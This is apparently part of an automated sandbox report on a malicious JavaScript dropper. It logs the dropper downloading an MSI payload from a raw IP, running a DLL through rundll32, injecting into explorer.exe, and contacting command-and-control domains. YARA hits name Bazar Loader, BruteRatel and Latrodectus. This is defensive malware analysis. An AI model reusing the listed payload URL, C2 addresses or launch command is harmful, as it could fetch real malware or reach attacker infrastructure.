Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800402A0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00000001800402A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018005C2BC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_000000018005C2BC

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 82.115.223.39 8041	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 188.114.96.3 443	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 80.78.24.30 8041	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\System32\rundll32.exe

Memory allocated: C:\Windows\explorer.exe base: 3050000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject threads in other processes

Source: C:\Windows\System32\rundll32.exe	Code function: 6_3_00007DF459570100 VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,		6_3_00007DF459570100
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000273F41380 Sleep,SleepEx,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject,		6_2_0000000273F41380

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\rundll32.exe

Thread created: C:\Windows\explorer.exe EIP: 3050000

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\rundll32.exe

Memory written: C:\Windows\explorer.exe base: 3050000 value starts with: 4D5A

Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\rundll32.exe

Memory written: PID: 1028 base: 3050000 value: 4D

Jump to behavior

Sets debug register (to hijack the execution of another thread)

Source: C:\Windows\System32\rundll32.exe

Thread register set: 5880 1

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\rundll32.exe

Memory written: C:\Windows\explorer.exe base: 3050000

Jump to behavior

Source: C:\Windows\Installer\MSIF29D.tmp

Code function: 4_2_00FB52F0 GetWindowsDirectoryW,GetForegroundWindow,ShellExecuteExW,ShellExecuteExW,ShellExecuteExW,GetModuleHandleW,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcessId,AllowSetForegroundWindow,GetModuleHandleW,GetProcAddress,GetProcessId,Sleep,Sleep,EnumWindows,BringWindowToTop,WaitForSingleObject,GetExitCodeProcess,

4_2_00FB52F0

Source: C:\Windows\Installer\MSIF29D.tmp

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState

Jump to behavior

Source: explorer.exe, 00000008.00000000.2452717662.0000000009BA9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009BB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094015474.0000000009BA9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd=
Source: explorer.exe, 00000008.00000002.3332339160.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2447498972.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000008.00000000.2449712553.0000000004B00000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3332339160.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2447498972.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000008.00000002.3332339160.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2447498972.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000008.00000002.3332339160.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2447498972.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000008.00000002.3331052313.0000000000EF0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2446927908.0000000000EF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PProgman

Source: C:\Windows\Installer\MSIF29D.tmp

Code function: 4_2_00FD35A9 cpuid

4_2_00FD35A9

Source: C:\Windows\Installer\MSIF29D.tmp	Code function: EnumSystemLocalesW,	4_2_00FEE0C6
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: EnumSystemLocalesW,	4_2_00FEE1AC
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: EnumSystemLocalesW,	4_2_00FE7132
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: EnumSystemLocalesW,	4_2_00FEE111
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	4_2_00FEE237
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: GetLocaleInfoEx,	4_2_00FD23F8
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: GetLocaleInfoW,	4_2_00FEE48A
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_00FEE5B3
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: GetLocaleInfoW,	4_2_00FEE6B9
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: GetLocaleInfoW,	4_2_00FE76AF
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_00FEE788
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	4_2_00FEDE24
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_0000000180053038
Source: C:\Windows\System32\rundll32.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	6_2_0000000180052534
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	6_2_0000000180052904
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	6_2_00000001800529D4
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoW,	6_2_0000000180048A24
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	6_2_0000000180047A78
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	6_2_0000000180047BBC
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	6_2_0000000180047C44
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_0000000180052E38

Source: C:\Windows\System32\msiexec.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Windows\Installer\MSIF29D.tmp

Code function: 4_2_00FD37D5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

4_2_00FD37D5

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_000001FF4CAF4D00 GetUserNameW,GetComputerNameExW,GetComputerNameExW,GetTokenInformation,GetNativeSystemInfo,GetAdaptersInfo,GetAdaptersInfo,

6_2_000001FF4CAF4D00

Source: C:\Windows\Installer\MSIF29D.tmp

Code function: 4_2_00FE7B1F GetTimeZoneInformation,

4_2_00FE7B1F

Source: C:\Windows\explorer.exe

Code function: 8_2_0305891C RtlGetVersion,GetVersionExW,

8_2_0305891C

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Bazar Loader

Source: Yara match	File source: 6.2.rundll32.exe.1ff4b020000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.1ff4b0a0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.1ff4b0a0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3332247627.000001FF4B020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3332368718.000001FF4B0A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected BruteRatel

Source: Yara match	File source: 00000006.00000003.2444968399.000001FF4CA6D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5880, type: MEMORYSTR
Source: Yara match	File source: 00000006.00000002.3332076257.000001FF4AE58000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Latrodectus

Source: Yara match	File source: 00000008.00000002.3353267482.000000000E6CB000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected Bazar Loader

Source: Yara match	File source: 6.2.rundll32.exe.1ff4b020000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.1ff4b0a0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.1ff4b0a0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3332247627.000001FF4B020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3332368718.000001FF4B0A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected BruteRatel

Source: Yara match	File source: 00000006.00000003.2444968399.000001FF4CA6D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5880, type: MEMORYSTR
Source: Yara match	File source: 00000006.00000002.3332076257.000001FF4AE58000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Latrodectus

Source: Yara match	File source: 00000008.00000002.3353267482.000000000E6CB000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	1 Replication Through Removable Media	1 Native API	2 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	812 Process Injection	3 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	35 System Information Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	21 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Virtualization/Sandbox Evasion	DCSync	11 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	812 Process Injection	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Document-18-33-08.js	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Roaming\vierm_soft_x64.dll	8%	ReversingLabs
C:\Windows\Installer\MSIF101.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIF160.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIF1BF.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIF1DF.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIF29D.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
https://powerpoint.office.comcember	0%	URL Reputation	safe
https://excel.office.com	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	0%	URL Reputation	safe
https://outlook.com	0%	URL Reputation	safe
https://android.notify.windows.com/iOS	0%	URL Reputation	safe
https://api.msn.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
isomicrotich.com	188.114.96.3	true	true	unknown
greshunka.com	82.115.223.39	true	true	unknown
tiguanin.com	80.78.24.30	true	true	unknown
bazarunet.com	80.78.24.30	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://opewolumeras.com/test/	true		unknown
https://isomicrotich.com/test/	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://word.office.comon	explorer.exe, 00000008.00000002.3346806877.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2452717662.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/F	rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://greshunka.com:8041/admin.php-7	rundll32.exe, 00000006.00000003.2253330460.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/admin.phpM	rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030377151.000001FF4CA1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036902410.000001FF4CA1E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3149156557.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3332514374.000001FF4CA1D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://opewolumeras.com/test/P	explorer.exe, 00000008.00000002.3350911655.000000000B7DD000.00000004.00000010.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/admin.phpF	rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://powerpoint.office.comcember	explorer.exe, 00000008.00000000.2456761349.000000000C460000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://isomicrotich.com/	explorer.exe, 00000008.00000002.3351439546.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp	true		unknown
https://bazarunet.com:8041/bazar.phpi	rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://greshunka.com/g;	rundll32.exe, 00000006.00000002.3332514374.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030733974.000001FF4C9D3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/Q	rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/net.com:8041/bazar.php	rundll32.exe, 00000006.00000003.3011956610.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/zar.php	rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://greshunka.com:8041/admin.phpl.mui	rundll32.exe, 00000006.00000003.2310895325.000001FF4C9D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://greshunka.com:8041/bazar.php3?8	rundll32.exe, 00000006.00000003.2927135917.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://excel.office.com	explorer.exe, 00000008.00000000.2452717662.0000000009BA9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009BB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094015474.0000000009BA9000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.micro	explorer.exe, 00000008.00000000.2452162910.0000000008890000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000002.3344619758.0000000008870000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2451505146.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://isomicrotich.com/test/M	explorer.exe, 00000008.00000002.3352293048.000000000C81C000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/admin.phpO#	rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/bazar.php	rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/azar.php	rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/L	rundll32.exe, 00000006.00000002.3332514374.000001FF4CA1D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/N	rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://188.119.112.7/das.msi	wscript.exe, 00000000.00000002.2065296412.00000196D5AD6000.00000004.00000020.00020000.00000000.sdmp, Document-18-33-08.js	true		unknown
https://bazarunet.com:8041/admin.php.	rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/bazar.phpll.mui	rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/&	rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/admin.php9#	rundll32.exe, 00000006.00000002.3332514374.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3149156557.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036648885.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/%	rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	rundll32.exe, 00000006.00000003.3197779910.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526696898.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2727327156.000001FF4CA51000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030377151.000001FF4CA1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036902410.000001FF4CA1E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3333625550.000001FF4CF10000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2927135917.000001FF4CA50000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477041735.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3295432938.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2536162683.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2536131672.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2444803935.000001FF4CA4C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	rundll32.exe, 00000006.00000003.3197779910.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526696898.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2727327156.000001FF4CA51000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030377151.000001FF4CA1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036902410.000001FF4CA1E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3333625550.000001FF4CF10000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2927135917.000001FF4CA50000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477041735.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3295432938.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2536162683.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2536131672.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2444803935.000001FF4CA4C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://188.119.112.7/das.msi0	~DFED22D1FE613BF34C.TMP.1.dr, ~DF07B80D9F27CBE04D.TMP.1.dr, ~DF01B5DC13092BA872.TMP.1.dr, ~DF28B4DE99F83A16D6.TMP.1.dr, ~DF59A0B4535E503852.TMP.1.dr, inprogressinstallinfo.ipi.1.dr	true		unknown
https://bazarunet.com:8041/$E	rundll32.exe, 00000006.00000003.3012131667.000001FF4CA78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://greshunka.com:8041/bazar.phpAm=	rundll32.exe, 00000006.00000003.3248286213.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3332514374.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3149023230.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3197779910.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3295432938.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000008.00000000.2456761349.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3351439546.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://greshunka.com:8041/admin.phpi	rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://greshunka.com:8041/admin.phpUN	rundll32.exe, 00000006.00000003.3248286213.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp	false		unknown
